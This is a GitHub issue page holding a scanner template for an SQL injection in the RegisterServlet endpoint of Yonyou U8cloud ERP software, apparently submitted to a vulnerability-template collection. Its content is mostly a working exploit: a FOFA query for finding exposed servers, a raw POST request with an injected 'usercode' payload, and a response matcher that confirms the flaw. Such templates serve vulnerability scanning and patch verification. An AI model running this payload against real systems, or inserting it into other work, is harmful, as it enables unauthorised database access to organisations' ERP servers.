Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

yonyou-u8c-RegisterServlet-sqli #126

Closed
Kongchengsain opened this issue Apr 29, 2024 · 0 comments
Closed

yonyou-u8c-RegisterServlet-sqli #126

Kongchengsain opened this issue Apr 29, 2024 · 0 comments

Comments

@Kongchengsain
Copy link

id: yonyou-u8c-RegisterServlet-sqli

info:
name: 用友U8cloud RegisterServlet SQL注入
author: Kongchengsain
severity: high
description:
用友U8cloud所有版本RegisterServlet接口存在SQL注入漏洞。
tags: [用友,U8cloud, sql注入, 高危]
metadata:
fofa-query: app="用友-U8-Cloud"
http:

  • raw:

    • |-
      POST /servlet/RegisterServlet HTTP/1.1
      Host: {{Hostname}}
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
      Connection: close
      Content-Length: 85
      Accept: /
      Accept-Language: en
      Content-Type: application/x-www-form-urlencoded
      X-Forwarded-For: 127.0.0.1
      Accept-Encoding: gzip

      usercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)>0--

    matchers-condition: and
    matchers:

    • type: dsl
      dsl:
      • 'status_code==200 && contains(body_1, "e10adc3949ba59abbe56e057f20f883e")'

image

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant